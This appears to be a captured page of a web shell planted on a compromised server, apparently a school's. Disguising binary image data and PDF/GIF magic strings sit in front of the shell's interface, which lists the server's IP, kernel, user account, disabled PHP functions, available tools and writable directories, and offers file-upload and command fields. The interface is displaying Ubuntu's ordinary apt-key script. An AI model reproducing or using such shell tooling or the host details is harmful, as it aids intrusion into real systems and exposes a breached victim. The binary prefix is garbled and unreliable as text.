JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ￖFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 18.222.110.70
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/bin/apt-key
#!/bin/sh

set -e
unset GREP_OPTIONS GPGHOMEDIR CURRENTTRAP
export IFS="$(printf "\n\b")"

MASTER_KEYRING='/usr/share/keyrings/ubuntu-master-keyring.gpg'
eval "$(apt-config shell MASTER_KEYRING APT::Key::MasterKeyring)"
ARCHIVE_KEYRING='/usr/share/keyrings/ubuntu-archive-keyring.gpg'
eval "$(apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring)"
REMOVED_KEYS='/usr/share/keyrings/ubuntu-archive-removed-keys.gpg'
eval "$(apt-config shell REMOVED_KEYS APT::Key::RemovedKeys)"
ARCHIVE_KEYRING_URI='http://archive.ubuntu.com/ubuntu/project/ubuntu-archive-keyring.gpg'
eval "$(apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI)"

aptkey_echo() { echo "$@"; }

requires_root() {
	if [ "$(id -u)" -ne 0 ]; then
		apt_error "This command can only be used by root."
		exit 1
	fi
}

command_available() {
    if [ -x "$1" ]; then return 0; fi
    # command -v "$1" >/dev/null 2>&1 # not required by policy, see #747320
    # which "$1" >/dev/null 2>&1 # is in debianutils (essential) but not on non-debian systems
    local OLDIFS="$IFS"
    IFS=:
    for p in $PATH; do
	if [ -x "${p}/${1}" ]; then
	    IFS="$OLDIFS"
	    return 0
	fi
    done
    IFS="$OLDIFS"
    return 1
}

escape_shell() {
    echo "$@" | sed -e "s#'#'\"'\"'#g"
}

get_fingerprints_of_keyring() {
    aptkey_execute "$GPG_SH" --keyring "$1" --with-colons --fingerprint | while read publine; do
	# search for a public key
	if [ "${publine%%:*}" != 'pub' ]; then continue; fi
	# search for the associated fingerprint (should be the very next line)
	while read fprline; do
	   if [ "${fprline%%:*}" = 'sub' ]; then break; # should never happen
	   elif [ "${fprline%%:*}" != 'fpr' ]; then continue; fi
	   echo "$fprline" | cut -d':' -f 10
	done
	# order in the keyring shouldn't be important
    done | sort
}

add_keys_with_verify_against_master_keyring() {
    ADD_KEYRING="$1"
    MASTER="$2"

    if [ ! -f "$ADD_KEYRING" ]; then
	apt_error "Keyring '$ADD_KEYRING' to be added not found"
	return
    fi
    if [ ! -f "$MASTER" ]; then
	apt_error "Master-Keyring '$MASTER' not found"
	return
    fi

    # when adding new keys, make sure that the archive-master-keyring
    # is honored. so:
    #   all keys that are exported must have a valid signature
    #   from a key in the $distro-master-keyring
    add_keys="$(get_fingerprints_of_keyring "$ADD_KEYRING")"
    all_add_keys="$(aptkey_execute "$GPG_SH" --keyring "$ADD_KEYRING" --with-colons --list-keys | grep ^[ps]ub | cut -d: -f5)"
    master_keys="$(aptkey_execute "$GPG_SH" --keyring "$MASTER" --with-colons --list-keys | grep ^pub | cut -d: -f5)"

    # ensure there are no colisions LP: #857472
    for all_add_key in $all_add_keys; do
	for master_key in $master_keys; do
            if [ "$all_add_key" = "$master_key" ]; then
                echo >&2 "Keyid collision for '$all_add_key' detected, operation aborted"
                return 1
            fi
        done
    done

    for add_key in $add_keys; do
        # export the add keyring one-by-one
	local TMP_KEYRING="${GPGHOMEDIR}/tmp-keyring.gpg"
	aptkey_execute "$GPG_SH" --batch --yes --keyring "$ADD_KEYRING" --output "$TMP_KEYRING" --export "$add_key"
	if ! aptkey_execute "$GPG_SH" --batch --yes --keyring "$TMP_KEYRING" --import "$MASTER" > "${GPGHOMEDIR}/gpgoutput.log" 2>&1; then
	    cat >&2 "${GPGHOMEDIR}/gpgoutput.log"
	    false
	fi
	# check if signed with the master key and only add in this case
	ADDED=0
	for master_key in $master_keys; do
	    if aptkey_execute "$GPG_SH" --keyring "$TMP_KEYRING" --check-sigs --with-colons "$add_key" \
	       | grep '^sig:!:' | cut -d: -f5 | grep -q "$master_key"; then
		aptkey_execute "$GPG_SH" --batch --yes --keyring "$ADD_KEYRING" --export "$add_key" \
		   | aptkey_execute "$GPG" --batch --yes --import
		ADDED=1
	    fi
	done
	if [ $ADDED = 0 ]; then
	    echo >&2 "Key '$add_key' not added. It is not signed with a master key"
	fi
	rm -f "${TMP_KEYRING}"
    done
}

# update the current archive signing keyring from a network URI
# the archive-keyring keys needs to be signed with the master key
# (otherwise it does not make sense from a security POV)
net_update() {
    local APT_DIR='/'
    eval $(apt-config shell APT_DIR Dir)

    # Disabled for now as code is insecure (LP: #1013639 (and 857472, 1013128))
    APT_KEY_NET_UPDATE_ENABLED=""
    eval $(apt-config shell APT_KEY_NET_UPDATE_ENABLED APT::Key::Net-Update-Enabled)
    if [ -z "$APT_KEY_NET_UPDATE_ENABLED" ]; then
        exit 1
    fi

    if [ -z "$ARCHIVE_KEYRING_URI" ]; then
	apt_error 'Your distribution is not supported in net-update as no uri for the archive-keyring is set'
	exit 1
    fi
    # in theory we would need to depend on wget for this, but this feature
    # isn't useable in debian anyway as we have no keyring uri nor a master key
    if ! command_available 'wget'; then
	apt_error 'wget is required for a network-based update, but it is not installed'
	exit 1
    fi
    if [ ! -d "${APT_DIR}/var/lib/apt/keyrings" ]; then
	mkdir -p "${APT_DIR}/var/lib/apt/keyrings"
    fi
    keyring="${APT_DIR}/var/lib/apt/keyrings/$(basename "$ARCHIVE_KEYRING_URI")"
    old_mtime=0
    if [ -e $keyring ]; then
	old_mtime=$(stat -c %Y "$keyring")
    fi
    (cd  "${APT_DIR}/var/lib/apt/keyrings"; wget --timeout=90 -q -N "$ARCHIVE_KEYRING_URI")
    if [ ! -e "$keyring" ]; then
	return
    fi
    new_mtime=$(stat -c %Y "$keyring")
    if [ $new_mtime -ne $old_mtime ]; then
	aptkey_echo "Checking for new archive signing keys now"
	add_keys_with_verify_against_master_keyring "$keyring" "$MASTER_KEYRING"
    fi
}

update() {
    if [ -z "$APT_KEY_DONT_WARN_ON_DANGEROUS_USAGE" ]; then
	echo >&2 "Warning: 'apt-key update' is deprecated and should not be used anymore!"
	if [ -z "$ARCHIVE_KEYRING" ]; then
	    echo >&2 "Note: In your distribution this command is a no-op and can therefore be removed safely."
	    exit 0
	fi
    fi
    if [ ! -f "$ARCHIVE_KEYRING" ]; then
	apt_error "Can't find the archive-keyring (Is the ubuntu-keyring package installed?)"
	exit 1
    fi

    # add new keys from the package;

    # we do not use add_keys_with_verify_against_master_keyring here,
    # because "update" is run on regular package updates.  A
    # attacker might as well replace the master-archive-keyring file
    # in the package and add his own keys. so this check wouldn't
    # add any security. we *need* this check on net-update though
    import_keyring_into_keyring "$ARCHIVE_KEYRING" '' && cat "${GPGHOMEDIR}/gpgoutput.log"

    if [ -r "$REMOVED_KEYS" ]; then
	# remove no-longer supported/used keys
	get_fingerprints_of_keyring "$(dearmor_filename "$REMOVED_KEYS")" | while read key; do
	    foreach_keyring_do 'remove_key_from_keyring' "$key"
	done
    else
	apt_warn "Removed keys keyring '$REMOVED_KEYS' missing or not readable"
    fi
}

remove_key_from_keyring() {
    local KEYRINGFILE="$1"
    shift
    # non-existent keyrings have by definition no keys
    if [ ! -e "$KEYRINGFILE" ]; then
       return
    fi

    local FINGERPRINTS="${GPGHOMEDIR}/keyringfile.keylst"
    local DEARMOR="$(dearmor_filename "$KEYRINGFILE")"
    get_fingerprints_of_keyring "$DEARMOR" > "$FINGERPRINTS"

    for KEY in "$@"; do
	# strip leading 0x, if present:
	KEY="$(echo "${KEY#0x}" | tr -d ' ')"

	# check if the key is in this keyring
	if ! grep -iq "^[0-9A-F]*${KEY}$" "$FINGERPRINTS"; then
	    continue
	fi
	if [ ! -w "$KEYRINGFILE" ]; then
	    apt_warn "Key ${KEY} is in keyring ${KEYRINGFILE}, but can't be removed as it is read only."
	    continue
	fi
	# check if it is the only key in the keyring and if so remove the keyring altogether
	if [ '1' = "$(uniq "$FINGERPRINTS" | wc -l)" ]; then
	    mv -f "$KEYRINGFILE" "${KEYRINGFILE}~" # behave like gpg
	    return
	fi
	# we can't just modify pointed to files as these might be in /usr or something
	local REALTARGET
	if [ -L "$DEARMOR" ]; then
	    REALTARGET="$(readlink -f "$DEARMOR")"
	    mv -f "$DEARMOR" "${DEARMOR}.dpkg-tmp"
	    cp -a "$REALTARGET" "$DEARMOR"
	fi
	# delete the key from the keyring
	aptkey_execute "$GPG_SH" --keyring "$DEARMOR" --batch --delete-keys --yes "$KEY"
	if [ -n "$REALTARGET" ]; then
	    # the real backup is the old link, not the copy we made
